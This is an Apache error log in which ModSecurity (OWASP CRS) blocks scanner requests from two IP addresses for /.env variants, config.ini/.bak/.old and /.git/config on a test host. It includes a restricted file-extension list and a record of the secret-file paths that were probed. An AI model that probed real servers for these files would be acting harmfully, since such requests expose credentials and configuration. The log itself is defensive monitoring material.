[Sun May 18 09:56:32.814457 2025] [:error] [pid 3240162] [client 170.39.217.179:10132] [client 170.39.217.179] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.3&quot;] [unique_id &quot;aCmSsKidVvYEkQknJ8nwrAAAAAU&quot;]
[Sun May 18 09:56:33.536785 2025] [:error] [pid 3240162] [client 170.39.217.179:10132] [client 170.39.217.179] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.4&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.4&quot;] [unique_id &quot;aCmSsaidVvYEkQknJ8nwrQAAAAU&quot;]
[Sun May 18 09:56:33.537044 2025] [:error] [pid 3240162] [client 170.39.217.179:10132] [client 170.39.217.179] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.4&quot;] [unique_id &quot;aCmSsaidVvYEkQknJ8nwrQAAAAU&quot;]
[Sun May 18 09:56:33.537271 2025] [:error] [pid 3240162] [client 170.39.217.179:10132] [client 170.39.217.179] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.4&quot;] [unique_id &quot;aCmSsaidVvYEkQknJ8nwrQAAAAU&quot;]
[Sun May 18 09:56:34.043795 2025] [:error] [pid 3240162] [client 170.39.217.179:10132] [client 170.39.217.179] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.5&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.5&quot;] [unique_id &quot;aCmSsqidVvYEkQknJ8nwrgAAAAU&quot;]
[Sun May 18 09:56:34.044177 2025] [:error] [pid 3240162] [client 170.39.217.179:10132] [client 170.39.217.179] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.5&quot;] [unique_id &quot;aCmSsqidVvYEkQknJ8nwrgAAAAU&quot;]
[Sun May 18 09:56:34.044475 2025] [:error] [pid 3240162] [client 170.39.217.179:10132] [client 170.39.217.179] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.5&quot;] [unique_id &quot;aCmSsqidVvYEkQknJ8nwrgAAAAU&quot;]
[Sun May 18 09:56:34.607534 2025] [:error] [pid 3240162] [client 170.39.217.179:10132] [client 170.39.217.179] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.back&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.back&quot;] [unique_id &quot;aCmSsqidVvYEkQknJ8nwrwAAAAU&quot;]
[Sun May 18 09:56:34.607784 2025] [:error] [pid 3240162] [client 170.39.217.179:10132] [client 170.39.217.179] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.back&quot;] [unique_id &quot;aCmSsqidVvYEkQknJ8nwrwAAAAU&quot;]
[Sun May 18 09:56:34.607998 2025] [:error] [pid 3240162] [client 170.39.217.179:10132] [client 170.39.217.179] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.back&quot;] [unique_id &quot;aCmSsqidVvYEkQknJ8nwrwAAAAU&quot;]
[Sun May 18 09:57:03.012461 2025] [:error] [pid 3240159] [client 170.39.217.179:41926] [client 170.39.217.179] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.save.1&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save.1&quot;] [unique_id &quot;aCmSzzippbO7RY6a2MH0cQAAAAM&quot;]
[Sun May 18 09:57:03.012726 2025] [:error] [pid 3240159] [client 170.39.217.179:41926] [client 170.39.217.179] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save.1&quot;] [unique_id &quot;aCmSzzippbO7RY6a2MH0cQAAAAM&quot;]
[Sun May 18 09:57:03.012921 2025] [:error] [pid 3240159] [client 170.39.217.179:41926] [client 170.39.217.179] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save.1&quot;] [unique_id &quot;aCmSzzippbO7RY6a2MH0cQAAAAM&quot;]
[Sun May 18 09:57:03.467235 2025] [:error] [pid 3240159] [client 170.39.217.179:41926] [client 170.39.217.179] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env_bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_bak&quot;] [unique_id &quot;aCmSzzippbO7RY6a2MH0cgAAAAM&quot;]
[Sun May 18 09:57:03.467466 2025] [:error] [pid 3240159] [client 170.39.217.179:41926] [client 170.39.217.179] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_bak&quot;] [unique_id &quot;aCmSzzippbO7RY6a2MH0cgAAAAM&quot;]
[Sun May 18 09:57:03.467664 2025] [:error] [pid 3240159] [client 170.39.217.179:41926] [client 170.39.217.179] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_bak&quot;] [unique_id &quot;aCmSzzippbO7RY6a2MH0cgAAAAM&quot;]
[Sun May 18 09:57:03.818910 2025] [:error] [pid 3240159] [client 170.39.217.179:41926] [client 170.39.217.179] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env_hidden&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_hidden&quot;] [unique_id &quot;aCmSzzippbO7RY6a2MH0cwAAAAM&quot;]
[Sun May 18 09:57:03.819153 2025] [:error] [pid 3240159] [client 170.39.217.179:41926] [client 170.39.217.179] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_hidden&quot;] [unique_id &quot;aCmSzzippbO7RY6a2MH0cwAAAAM&quot;]
[Sun May 18 09:57:03.819339 2025] [:error] [pid 3240159] [client 170.39.217.179:41926] [client 170.39.217.179] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_hidden&quot;] [unique_id &quot;aCmSzzippbO7RY6a2MH0cwAAAAM&quot;]
[Sun May 18 09:57:04.338585 2025] [:error] [pid 3240159] [client 170.39.217.179:41926] [client 170.39.217.179] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.debug&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.debug&quot;] [unique_id &quot;aCmS0DippbO7RY6a2MH0dAAAAAM&quot;]
[Sun May 18 09:57:04.338824 2025] [:error] [pid 3240159] [client 170.39.217.179:41926] [client 170.39.217.179] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.debug&quot;] [unique_id &quot;aCmS0DippbO7RY6a2MH0dAAAAAM&quot;]
[Sun May 18 09:57:04.339027 2025] [:error] [pid 3240159] [client 170.39.217.179:41926] [client 170.39.217.179] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.debug&quot;] [unique_id &quot;aCmS0DippbO7RY6a2MH0dAAAAAM&quot;]
[Sun May 18 09:57:48.864584 2025] [:error] [pid 3240157] [client 170.39.217.179:2858] [client 170.39.217.179] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.ini&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.ini&quot;] [unique_id &quot;aCmS_PXK_RHTdh9X4fT1OgAAAAE&quot;]
[Sun May 18 09:57:48.864965 2025] [:error] [pid 3240157] [client 170.39.217.179:2858] [client 170.39.217.179] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.ini&quot;] [unique_id &quot;aCmS_PXK_RHTdh9X4fT1OgAAAAE&quot;]
[Sun May 18 09:57:48.865168 2025] [:error] [pid 3240157] [client 170.39.217.179:2858] [client 170.39.217.179] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.ini&quot;] [unique_id &quot;aCmS_PXK_RHTdh9X4fT1OgAAAAE&quot;]
[Sun May 18 09:57:49.203035 2025] [:error] [pid 3240157] [client 170.39.217.179:2858] [client 170.39.217.179] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.bak&quot;] [unique_id &quot;aCmS_fXK_RHTdh9X4fT1OwAAAAE&quot;]
[Sun May 18 09:57:49.203372 2025] [:error] [pid 3240157] [client 170.39.217.179:2858] [client 170.39.217.179] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.bak&quot;] [unique_id &quot;aCmS_fXK_RHTdh9X4fT1OwAAAAE&quot;]
[Sun May 18 09:57:49.203573 2025] [:error] [pid 3240157] [client 170.39.217.179:2858] [client 170.39.217.179] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.bak&quot;] [unique_id &quot;aCmS_fXK_RHTdh9X4fT1OwAAAAE&quot;]
[Sun May 18 09:57:49.583947 2025] [:error] [pid 3240157] [client 170.39.217.179:2858] [client 170.39.217.179] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.old&quot;] [unique_id &quot;aCmS_fXK_RHTdh9X4fT1PAAAAAE&quot;]
[Sun May 18 09:57:49.584322 2025] [:error] [pid 3240157] [client 170.39.217.179:2858] [client 170.39.217.179] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.old&quot;] [unique_id &quot;aCmS_fXK_RHTdh9X4fT1PAAAAAE&quot;]
[Sun May 18 09:57:49.584538 2025] [:error] [pid 3240157] [client 170.39.217.179:2858] [client 170.39.217.179] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.old&quot;] [unique_id &quot;aCmS_fXK_RHTdh9X4fT1PAAAAAE&quot;]
[Sun May 18 16:51:33.767678 2025] [:error] [pid 3242438] [client 45.144.212.129:55134] [client 45.144.212.129] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aCnz9W5LSh5VjHFMrS3d7QAAAAo&quot;]
